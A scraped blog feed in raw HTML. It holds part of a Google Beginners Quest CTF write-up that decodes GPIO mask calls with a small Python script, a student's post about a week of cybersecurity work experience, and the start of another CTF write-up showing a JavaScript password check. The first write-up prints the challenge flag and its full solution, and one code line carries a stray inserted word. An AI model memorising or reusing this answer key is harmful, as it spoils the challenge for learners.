<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"hardware/structs/sio.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>
</code></pre><p>The above code is the standard way of including libraries or user-made code. We do not need these libraries downloaded.</p>
<h4 id="heading-the-binary-number-initiator">The binary number initiator</h4>
<pre><code>    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> <span class="hljs-number">8</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) { <span class="hljs-comment">// loops 7 times and intialises gpio pin 0-7</span>
        gpio_init(I);  <span class="hljs-comment">// Initialise a GPIO Pin i</span>
        gpio_set_dir(i, GPIO_OUT);  <span class="hljs-comment">//Set's the GPIO pin as OUPUT</span>
    }
    gpio_put_all(<span class="hljs-number">0</span>);  <span class="hljs-comment">//Set's all the pins to 0</span>
</code></pre><p>The above code initialises an 8-bit binary number from GPIO pin 0-7.  All these GPIO pins are set to output only. Their default values are all set to 0 by default.</p>
<h4 id="heading-the-encoded-message">The encoded message</h4>
<pre><code><span class="hljs-selector-tag">for</span> (;;) {<span class="hljs-comment">// for (;;) means it goes forever</span>
        <span class="hljs-selector-tag">gpio_set_mask</span>(<span class="hljs-number">67</span>);
        <span class="hljs-selector-tag">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
        <span class="hljs-selector-tag">sleep_us</span>(<span class="hljs-number">100</span>);
        <span class="hljs-selector-tag">gpio_set_mask</span>(<span class="hljs-number">20</span>);
        <span class="hljs-selector-tag">gpio_clr_mask</span>(<span class="hljs-number">3</span>);
        <span class="hljs-selector-tag">sleep_us</span>(<span class="hljs-number">100</span>);
        <span class="hljs-selector-tag">gpio_set_mask</span>(<span class="hljs-number">2</span>);
        <span class="hljs-selector-tag">gpio_clr_mask</span>(<span class="hljs-number">16</span>);
        <span class="hljs-selector-tag">sleep_us</span>(<span class="hljs-number">100</span>);
        <span class="hljs-selector-tag">etc</span>..
        <span class="hljs-selector-tag">etc</span>..
</code></pre><p>We can guess that the "gpio_set_mask" and "gpio_clr_mask" are the functions that are generating a binary number. The "sleep_us" function is most likely a pause for us to read the binary output. We can then assume that the binary output is a number for a Unicode character. </p>
<p>This is where the real challenge is. In this code, we have 3 functions: "gpio_set_mask", "gpio_clr_mask" and "sleep_us". </p>
<h4 id="heading-function-sleepus">Function sleep_us</h4>
<p>The "sleep_us" function makes the code pause for a certain amount of milliseconds. </p>
<h4 id="heading-funcition-gpiosetmask">Funcition gpio_set_mask</h4>
<p>According to the <a target="_blank" href="https://raspberrypi.github.io/pico-sdk-doxygen/group__hardware__gpio.html#gaf3aa12aa4543965e24f52cfa9b529904">documentation</a>, "gpio_set_mask" does "Drive high every GPIO appearing in the mask." Let's break this down. This is when bitwise functions come into play.  "Drive high" means turning the pin on/1. "GPIO" refers to the 8-bit binary number we created earlier. "<a target="_blank" href="https://stackoverflow.com/questions/10493411/what-is-bit-masking">Mask</a>" defines what bits you want to clear or put in. </p>
<p>Note: The mask gets turned into a binary number before any operation occurs. 
This is when bitwise functions come in. We can deduce that the above description is for the bitwise function of "OR". An example is given below:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Operation</td><td>Value</td></tr>
</thead>
<tbody>
<tr>
<td></td><td>1101 0111</td></tr>
<tr>
<td>OR</td><td>1101 000 &lt;- bitmask</td></tr>
<tr>
<td>=</td><td>1101 0111</td></tr>
</tbody>
</table>
</div><h4 id="heading-function-gpioclrmask">Function gpio_clr_mask</h4>
<p>According to the <a target="_blank" href="https://raspberrypi.github.io/pico-sdk-doxygen/group__hardware__gpio.html#ga6aca495d644a6ae66050a99ef44defbe">documentation</a>, "gpio_clr_mask" does "Drive low every GPIO appearing in the mask." Let's once again break this down. "Drive low" means turn off or set to 0. "GPIO" refers to the 8-bit binary number we created early. "<a target="_blank" href="https://stackoverflow.com/questions/10493411/what-is-bit-masking">Mask</a>" defines what bits you want to clear or put in. </p>
<p>We can deduce from this statement that the two required bitwise functions are GPIO "AND" "NOT" MASK. 
An example is given below where MASK equals 87 and the original value is 24.</p>
<p>This is a table for the "NOT" function</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Operation (NOT)</td><td>Value</td></tr>
</thead>
<tbody>
<tr>
<td></td><td>0101 0111</td></tr>
<tr>
<td>NOT</td><td></td></tr>
<tr>
<td>MASK =</td><td>1010 1000</td></tr>
</tbody>
</table>
</div><p>This Inverted BITMASK is the output of the above bitwise function. This is a table for "AND".</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Operation (AND)</td><td>Value</td></tr>
</thead>
<tbody>
<tr>
<td>INITAL VALUE</td><td>1001 1011</td></tr>
<tr>
<td>INVERTED BITMASK</td><td>1010 1000</td></tr>
<tr>
<td>Result</td><td>1000 1000</td></tr>
</tbody>
</table>
</div><h2 id="heading-solutions">Solutions</h2>
<h3 id="heading-syntax">Syntax</h3>
<p>Before we code the solution we need to know the syntax for bitmask operations in python. </p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>OPERATOR</td><td>DESCRIPTION</td><td>SYNTAX</td></tr>
</thead>
<tbody>
<tr>
<td>&amp;</td><td>Bitwise AND</td><td>x &amp; y</td></tr>
<tr>
<td>|</td><td>Bitwise OR</td><td>x | y</td></tr>
<tr>
<td>~</td><td>Bitwise NOT</td><td>~x</td></tr>
<tr>
<td>^</td><td>Bitwise XOR</td><td>x ^ y</td></tr>
<tr>
<td>&gt;&gt;</td><td>Bitwise right shift</td><td>x&gt;&gt;</td></tr>
<tr>
<td>&lt;&lt;</td><td>Bitwise left shift</td><td>x&lt;&lt;</td></tr>
</tbody>
</table>
</div><p>SOURCE: <a target="_blank" href="https://www.geeksforgeeks.org/python-bitwise-operators/">geeksfromgeeks</a></p>
<h3 id="heading-the-code">The Code</h3>
<p>Now we can code the solution. I am writing up this solution in Python because it is easy. First off you can just paste the encoded message in as it is perfectly fine Python syntax.</p>
<pre><code>...
<span class="hljs-selector-tag">gpio_set_mask</span>(<span class="hljs-number">67</span>);
<span class="hljs-selector-tag">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-selector-tag">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-selector-tag">gpio_set_mask</span>(<span class="hljs-number">20</span>);
<span class="hljs-selector-tag">gpio_clr_mask</span>(<span class="hljs-number">3</span>);
<span class="hljs-selector-tag">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-selector-tag">gpio_set_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-selector-tag">gpio_clr_mask</span>(<span class="hljs-number">16</span>);
<span class="hljs-selector-tag">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-selector-tag">etc</span>..
<span class="hljs-selector-tag">etc</span>..
</code></pre><p>Now we need to create the 3 separate functions. In the "gpio_set_mask" function, all we need to do is create a function that does the bitmask operation of "OR" between gpio and the mask. The Python syntax for "OR" is "|".</p>
<pre><code>gpio = <span class="hljs-number">0</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">gpio_set_mask</span>(<span class="hljs-params">m</span>):</span>
    <span class="hljs-keyword">global</span> gpio
    gpio |= m
...
</code></pre><p>In the gpio_clr_mask function, we need to use the bitmask function of GPIO AND NOT M. This can be done in python with the &amp; and ~ representing AND and NOT respectively.</p>
<pre><code>...
def gpio_clr_mask(m):
    global gpio
    gpio <span class="hljs-operator">&amp;</span><span class="hljs-operator">=</span> <span class="hljs-operator">~</span>m
...
</code></pre><p>For the sleep_us function, all we need to do is print out the letter output of the binary GPIO.</p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sleep_us</span>(<span class="hljs-params">_</span>):</span>
    print(chr(gpio), end=<span class="hljs-string">""</span>)
</code></pre><p>Putting this all together we get the python code.
 </p><details>  <summary>Full Code</summary><p></p>
<pre><code><span class="hljs-attribute">gpio</span> = <span class="hljs-number">0</span>

<span class="hljs-attribute">def</span> gpio_clr_mask(m):
    <span class="hljs-attribute">global</span> gpio
    <span class="hljs-attribute">gpio</span> &amp;= ~m
<span class="hljs-attribute">def</span> gpio_set_mask(m):
    <span class="hljs-attribute">global</span> gpio
    <span class="hljs-attribute">gpio</span> |= m
<span class="hljs-attribute">def</span> sleep_us(_):
    <span class="hljs-attribute">print</span>(chr(gpio), end=<span class="hljs-string">""</span>)


<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">67</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">20</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">3</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">16</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">57</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">4</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">25</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">5</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">18</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">65</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">1</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">64</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">17</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">1</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">6</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">18</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">65</span>);THING
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">1</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">4</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">64</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">16</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">16</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">64</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">4</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">3</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">9</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">1</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">8</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">8</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">65</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">24</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">22</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">64</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">5</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">65</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">16</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">22</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">65</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">1</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">6</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">4</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">66</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">21</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">1</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">24</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">65</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">67</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">24</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">24</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">67</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">8</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">65</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">18</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">16</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">64</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">0</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">68</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">19</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">19</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">64</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">72</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
<span class="hljs-attribute">gpio_set_mask</span>(<span class="hljs-number">2</span>);
<span class="hljs-attribute">gpio_clr_mask</span>(<span class="hljs-number">117</span>);
<span class="hljs-attribute">sleep_us</span>(<span class="hljs-number">100</span>);
</code></pre><p> </p></details>     <p></p>
<h3 id="heading-ctf-flag">CTF Flag</h3>
 <details>
        <summary>The CTF Flag is:</summary>
         CTF{be65dfa2355e5309808a7720a615bca8c82a13d7}
 </details>        

<h2 id="heading-closing-notes">Closing notes</h2>
<p>If you want to try this out yourself go <a target="_blank" href="https://capturetheflag.withgoogle.com/beginners-quest">here</a>.</p>
<p>If you want to see an expanded version of the python script go <a target="_blank" href="https://github.com/Dingo418/Beginners-Quest-Google-CTF-Writeup/blob/main/4/calc.py">here</a>.</p>
<p>If you want to see all the files in the task go <a target="_blank" href="https://github.com/Dingo418/Beginners-Quest-Google-CTF-Writeup/tree/main/4">here</a>.</p>
<p>If you want to see some of the other writeups for Google Beginner CTF go <a target="_blank" href="https://github.com/Dingo418/Beginners-Quest-Google-CTF-Writeup">here</a>.</p>
]]></content:encoded></item><item><title><![CDATA[What I have learnt from a week of work experience at Kinetic IT]]></title><description><![CDATA[This week, I did work experience for a week at Kinetic IT. I was able to meet many fascinating people and greatly increase my understanding of the cyber security industry. For the week I set myself two main goals.

Write a blog every day for a week
L...]]></description><link>https://colej.net/what-i-have-learnt-from-a-week-of-work-experience-at-kinetic-it</link><guid isPermaLink="true">https://colej.net/what-i-have-learnt-from-a-week-of-work-experience-at-kinetic-it</guid><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Sat, 18 Jun 2022 13:42:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/6dW3xyQvcYE/upload/v1656222051469/mWCprPAdH.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This week, I did work experience for a week at Kinetic IT. I was able to meet many fascinating people and greatly increase my understanding of the cyber security industry. For the week I set myself two main goals.</p>
<ul>
<li>Write a blog every day for a week</li>
<li>Learn as much as possible about the cyber security Industry.</li>
</ul>
<p>I believe I completed the first goal very well. I have managed to blog every day for a week with high-quality blogs. Although it was tiring; I have managed to learn a lot about the tools for cyber security.</p>
<p>The second goal about learning more about the cyber security industry. I broke the goal up into a couple of smaller goals. They are:</p>
<ul>
<li>What kind of jobs are there in the cyber security </li>
<li>What are the pathways to cyber security.</li>
<li>What is the work like.
For the second goal, I am going to take you threw the highlights of the week from Monday to Friday.</li>
</ul>
<h3 id="heading-monday">Monday</h3>
<p>Monday was an exciting day. The first day of work experience! This day mainly contained talking to some Security Operation Centre Analysts. I am not completely sure about who and what I am allowed to talk about, so I apologise if I am a bit vague. But first a bit of background. What is a security Operation Centre Analyst(SOC Analyst)? They are a part of the defence of a system where they combat people trying to hack into a network or system. Using software, such as Logarithm and Microsoft Sentential, machines and servers send Gb's worth of logs to the Security Operation Centre. These systems will then filter out all the useless logs and give the SOC analysts events that are suspicious. If the SOC Analyst looks at events and thinks it is an attack, they will try to mitigate the outbreak as much as possible by shutting down servers and systems to stop the spread. On a general day of working, they will be sifting threw events to see if there is anything suspicious. When they aren't looking at events they will be creating or improving rules to reduce the number of events they are given.</p>
<h4 id="heading-what-did-we-talk-about">What did we talk about?</h4>
<p>I learned a lot about the daily tasks of a SOC analyst. I was able to see how the Microsoft Sentential and LogRhythm worked and some of their detection rules. Sadly, I wasn't allowed to see the tools in action as there was a lot of client confidentiality. In addition, I got to see some of the other services they were working on like their vulnerability bulletin. This is a bulletin that they send out once or twice a week to their clients about recent vulnerabilities or hacker groups.</p>
<h4 id="heading-what-did-i-learn">What did I learn?</h4>
<p>I learned a lot from this day as it was my first time learning about SOC Analysts and what they do. I got a feel for what they do and was shown some of the tools they used. I never really considered becoming a SOC Analyst as I never really knew enough about it. But I will consider this in the future.</p>
<h3 id="heading-tuesday">Tuesday</h3>
<p>On the second day, I got the chance to talk to the Director of Security Services at Kinetic IT and another SOC Analysts threw a video call.</p>
<h4 id="heading-what-did-we-talk-about-director-of-security-services">What did we talk about? (Director of Security Services)</h4>
<p>Talking to the Director of Security Services was incredibly valuable. She talked a lot about how important networks such as LinkedIn are to get jobs. She also said gaining extra qualifications like pentest+ or OSCAP was a must. An important thing that she said that stuck with me is, that if you want somebody else's job, look at their Linkedin and look at what experience and qualifications they have. Then copy them. I was also shown what a report looked like for a penetration test. It was a valuable insight into what they would give the board of a company. </p>
<h4 id="heading-what-did-i-learn">What did I learn?</h4>
<p>I learnt the value of Linkedin. Not only showcasing your abilities but being able to gain connections threw LinkedIn is incredibly valuable. I will be making a Linkedin very soon. I will post frequently there. Once I get enough experience I will definitely go for some qualifications like penteast+ or OSCAP. </p>
<h4 id="heading-what-did-we-talk-about-soc-analysts">What did we talk about? (SOC Analysts)</h4>
<p>Talking to the other SOC Analysts was a great experience. I was able to talk about their experience on how they became a SOC Analyst. They did not get a University or TAFE degree. They went from working at a computer shop, to a service desk and then to SOC Analysts. One of his main points is that there are many pathways to cyber security. They also talked about what it was like working in the cyber security industry? They essentially said if you do like cyber security it will be very hard to be good at your job. They also suggested some resources to improve my capabilities.</p>
<h4 id="heading-what-did-i-learn">What did I learn?</h4>
<p>I learned a couple more resources like Peco CTF or CTFtime.org. I will be creating accounts very soon and start doing more CTFs. I also learned a bit more about the different pathways to cyber.</p>
<h3 id="heading-wednesday">Wednesday</h3>
<p>On Wednesday I had a full corporate induction. This contained everything from health &amp; safety to what KineticIT values are. It was a necessary experience to further understand the industry. The rest of the day I worked through more tryhackme.</p>
<h3 id="heading-thursday">Thursday</h3>
<p>Thursday was a very quiet day. For most of the day, I continued to work through <a target="_blank" href="https://tryhackme.com/">tryhackme</a>. I learned a bit more general work information from my supervisor Adrian.</p>
<h3 id="heading-friday">Friday</h3>
<p>On Friday, I was able to talk to Jess about the careers and paths for cyber security. She also got us to focus on some of the lesser-known jobs in the cyber security industry. She also recommended going to BSides Perth in 2022.</p>
<p>After talking to Jess, The SOC Analysts from Tuesday were available in person. I was able to talk a lot more in-depth with him about cyber.</p>
<h4 id="heading-what-did-i-learn">What did I learn?</h4>
<p>When talking to Jess I learned a lot more about the different paths and careers in cyber security.</p>
<p>I talked a bit about everything to SOC Analyst. The talks eventually lead to the process of being in the red team. If you don't know what the red team is; The red team is a team of people that emulate hackers. Depending on the rules of attack; they can physically break into the premise or hack in from the outside. The opposite of the red team is the blue team. The blue team are the defenders from the red team. The monitor logs to see if somebody is trying to hack into the systems. If they detect an intrusion, they will try to contain it as much as possible. The blue team is a much larger team than the red team. What was surprising that I learned is that 90% of the work the red team does, is OSINT investigation. The last 10% is carrying out the hack. OSINT is Open-Source-Inteligence. </p>
<h3 id="heading-overall">Overall</h3>
<p>I am very happy with all that I have managed this week. I have been able to wright good quality blogs every day for a week. I also feel like I learned as much as possible about working in the cyber security industry. </p>
<h4 id="heading-goals">Goals</h4>
<p>I have learned and reflected a lot on this week but it is no use if I don't set any goals. </p>
<p>My first goal is to learn more about OSINT tools. What surprised me is that 90% of the work of the red team is OSINT. I feel like I must learn these key skills for the future.</p>
<p>My second goal is to continue blogging 1 to 2 a week. I feel like it is an important way of improving my technical writing in addition to forcing myself to learn more material.</p>
<p>My third goal is to complete a CTF once a week. A Capture The Flag is an exercise where a "flag" is found in vulnerable programs. It is a great way to learn more about many different concepts.</p>
<p>My final goal is to continue learning content with Tryhackme once a day. Tryhackme is a great website that teaches you basic to advanced concepts</p>
<p>Goal list:</p>
<ul>
<li>Learn more about OSINT tools.</li>
<li>Continue blogging 1-2 a week</li>
<li>Do a complete a CTF once a week</li>
<li>Continue with Tryhackme</li>
</ul>
<h3 id="heading-conclussion">Conclussion</h3>
<p>Many thanks to KineticIT for allowing me to do work experience there. Thank you to the KineticIT team that warmly welcomed me. They were all happy to chat with me. Special thanks to my supervisor Adrian for setting up and running the week. </p>
]]></content:encoded></item><item><title><![CDATA[Google's Beginners Quest CTF writeup of questions 1 & 2]]></title><description><![CDATA[This is a write-up to Google's Beginners Quest CTF for questions 1 & 2.  
Challenge 1
When we first go to the webpage we are greeted with a login page.

If we input the wrong password we get an alert that tells us "Wrong Password!".

The first thing ...]]></description><link>https://colej.net/googles-beginners-quest-ctf-writeup-of-questions-1-and-2</link><guid isPermaLink="true">https://colej.net/googles-beginners-quest-ctf-writeup-of-questions-1-and-2</guid><category><![CDATA[Google]]></category><category><![CDATA[CTF]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Tutorial]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Fri, 17 Jun 2022 11:10:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1655464117196/W9B4i38gS.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a write-up to Google's Beginners Quest CTF for questions 1 &amp; 2.  </p>
<h3 id="heading-challenge-1">Challenge 1</h3>
<p>When we first go to the webpage we are greeted with a login page.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655458360204/O3ZmePSsY.png" alt="image.png" /></p>
<p>If we input the wrong password we get an alert that tells us "Wrong Password!".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655460693522/EU-qyKDLm.png" alt="image.png" /></p>
<p>The first thing I did was look at the source code with ctrl+u. I scrolled down until I saw the javascript for this page. Below contains the important code for the password checker:</p>
<pre><code>const checkPassword <span class="hljs-operator">=</span> () <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> {
  const v <span class="hljs-operator">=</span> document.getElementById(<span class="hljs-string">"password"</span>).<span class="hljs-built_in">value</span>;
  const p <span class="hljs-operator">=</span> Array.from(v).map(a <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">0xCafe</span> <span class="hljs-operator">+</span> a.charCodeAt(<span class="hljs-number">0</span>));

  <span class="hljs-keyword">if</span>(p[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52037</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">6</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52081</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">5</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52063</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
